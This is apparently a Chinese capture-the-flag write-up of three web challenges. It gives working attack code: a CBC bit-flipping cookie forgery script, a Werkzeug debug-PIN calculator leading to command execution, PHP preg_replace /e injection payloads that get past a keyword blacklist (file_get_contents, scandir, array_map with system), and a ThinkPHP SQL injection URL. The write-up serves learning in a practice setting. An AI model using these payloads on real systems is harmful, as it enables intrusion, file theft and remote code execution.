HNCTFwp-web
本文最后更新于258 天前,其中的信息可能已经过时,如有错误请发送邮件到15036550479@163.com

filpPin

根据提示输入/hint得到源码

from flask import Flask, request, abort
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
from Crypto.Util.Padding import pad, unpad
from flask import Flask, request, Response
from base64 import b64encode, b64decode

import json

default_session = '{"admin": 0, "username": "user1"}'
key = get_random_bytes(AES.block_size)
print(key)

def encrypt(session):
    iv = get_random_bytes(AES.block_size)
    cipher = AES.new(key, AES.MODE_CBC, iv)
    return b64encode(iv + cipher.encrypt(pad(session.encode('utf-8'), AES.block_size)))

def decrypt(session):
    raw = b64decode(session)
    cipher = AES.new(key, AES.MODE_CBC, raw[:AES.block_size])
    try:
        res = unpad(cipher.decrypt(raw[AES.block_size:]), AES.block_size).decode('utf-8')
        return res
    except Exception as e:
        print(e)

app = Flask(__name__)

filename_blacklist = {
    'self',
    'cgroup',
    'mountinfo',
    'env',
    'flag'
}

@app.route("/")
def index():
    session = request.cookies.get('session')
    if session is None:
        res = Response(
            "welcome to the FlipPIN server try request /hint to get the hint")
        res.set_cookie('session', encrypt(default_session).decode())
        return res
    else:
        return 'have a fun'

@app.route("/hint")
def hint():
    res = Response(open(__file__).read(), mimetype='text/plain')
    return res

@app.route("/read")
def file():

    session = request.cookies.get('session')
    if session is None:
        res = Response("you are not logged in")
        res.set_cookie('session', encrypt(default_session))
        return res
    else:
        plain_session = decrypt(session)
        if plain_session is None:
            return 'don\'t hack me'

        session_data = json.loads(plain_session)

        if session_data['admin'] :
            filename = request.args.get('filename')

            if any(blacklist_str in filename for blacklist_str in filename_blacklist):
                abort(403, description='Access to this file is forbidden.')

            try:
                with open(filename, 'r') as f:
                    return f.read()
            except FileNotFoundError:
                abort(404, description='File not found.')
            except Exception as e:
                abort(500, description=f'An error occurred: {str(e)}')
        else:
            return 'You are not an administrator'

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=9091, debug=True)

分析可知需要session值中admin的值为1

百度大量数据 可知这是des的cbc模式 这类题有一种字节反转攻击漏洞

网上有脚本:

https://github.com/tamuctf/tamuctf-2024/tree/bd8e28c70054ee391b3d4bc2c845481ef0869fba/web/flipped

import requests
from base64 import b64decode, b64encode

url = "http://hnctf.yuanshen.life:32913/"
default_session = '{"admin": 0, "username": "user1"}'
res = requests.get(url)
c = bytearray(b64decode(res.cookies["session"]))   #这里获取/时由默认session生成的密文进行字节偏转攻击的到{"admin": 1, "username": "user1"}的密文后复制给session访问/read就可以访问文件了
c[default_session.index("0")] ^= 1
evil = b64encode(c).decode()

res = requests.get(url + "/read?filename=", cookies={"session": evil})

# 打印服务器返回的响应内容
print(res.text)

因为debug开启/console时发现需要pin码所以

import hashlib
from itertools import chain

probably_public_bits = [
    'ctfUser'  # username 可通过/etc/passwd获取
    'flask.app',  # modname默认值
    'Flask',  # 默认值 getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/lib/python3.9/site-packages/flask/app.py'  # 路径 可报错得到  getattr(mod, '__file__', None)
]

private_bits = [
    '2485377892356',  # /sys/class/net/eth0/address mac地址十进制
    '9fd11036-6c2e-41c7-bb26-7d358f67007049c230154bd2c8681fdcf2764c8e8316fbc7cf36b92dfad90bf0b7612b483f4e'
     # 9fd11036-6c2e-41c7-bb26-7d358f67007049c230154bd2c8681fdcf2764c8e8316fbc7cf36b92dfad90bf0b7612b483f4e
    # 字符串合并:1./etc/machine-id(docker不用看) /proc/sys/kernel/random/boot_id,有boot-id那就拼接boot-id 2. /proc/self/cgroup
]

# 下面为源码里面抄的,不需要修改
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)
'self',
'cgroup',
'mountinfo',  这三个黑名单self可以使用pid进程1来替代而cgroup文件可以访问cpuset来得到最后的参数

计算出pin码后即可使用os.popen().read来执行命令

发现没有权限 可以使用os.environ.keys 获取环境变量发现里面有GZCTF-FLAG 对应的值便是flag

Please_RCE_Me

image-20240514202217498

get传参得到源码

 <?php
if($_GET['moran'] === 'flag'){
    highlight_file(__FILE__);
    if(isset($_POST['task'])&&isset($_POST['flag'])){
        $str1 = $_POST['task'];
        $str2 = $_POST['flag'];
        if(preg_match('/system|eval|assert|call|create|preg|sort|{|}|filter|exec|passthru|proc|open|echo|`| |\.|include|require|flag/i',$str1) || strlen($str2) != 19 || preg_match('/please_give_me_flag/',$str2)){
            die('hacker!');
        }else{
            preg_replace("/please_give_me_flag/ei",$_POST['task'],$_POST['flag']);
        }
    }
}else{
    echo "moran want a flag.</br>(?moran=flag)";
} 
 preg_replace("/please_give_me_flag/ei",$_POST['task'],$_POST['flag']);
特性preg_replace(a/e,b,c);c中匹配到a的话则会执行b

思路清晰先令flag为=please_give_me_flaG

禁用了大量的执行函数还有arry_map和file_get_contents函数没被使用

file_get_contents

搭配print使用 payload

POST:flag=please_give_me_flaG&task=print(file_get_contents($_GET[1]))
GET: 1=/flag
//也可以使用十六进制绕过
flag=please_give_me_flaG&task=print(file_get_contents("\x2f\x66\x6c\x61\x67"));

image-20240514202904632

当然不排除flag文件以其他名字

利用读取函数scandir即可查看

payload:

POST:flag=please_give_me_flaG&task=print_r(scandir('/')) //当然使用var_dump也可以

array_map():

array_map()需传入两个参数,第一个参数为使用的函数,第二个参数为一个数组,并且数组的数据为函数的参数,例如:

 &arr = array('phpinfo()');

 array_map('assert',&arr);
payload:task=array_map($_POST['a'],$_POST['b'])&flag=please_give_me_flaG&a=assert&b[]=phpinfo()
 task=array_map($_POST['a'],$_POST['b'])&flag=please_give_me_flaG&a=system&b[]=ls

ez_tp

        $name = I('GET.name');
        $User = M("user");

        if (waf()) {
            $this->index();
        } else {
            $ret = $User->field('username,age')->where(array('username' => $name))->select();
            echo var_export($ret, true);

绕过waf后 查看执行方法这里相等于查询的语句在名为username和age中 使用select()方法查询

https://xz.aliyun.com/t/9326?time__1311=n4%2BxuDgD9DyCD%3DD7zD%2F%2BW%2BqWwKYTvM22iD&alichlgref=https%3A%2F%2Fwww.google.com%2F#toc-17

参考资料exp注入

/index.php/home/index/h_n?name[0]=exp&name[1]=%3d%27test123%27%20union%20select%201,flag%20from%20flag
或者
http://hnctf.yuanshen.life:33285/index.php/?m=Home&c=Index&a=h_n&name[0]=exp&name[1]=%3d%27test123%27%20union%20select%201,flag%20from%20flag

注意一定要清除cookie内存以免触发cookie

image-20240516135405475

文末附加内容
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇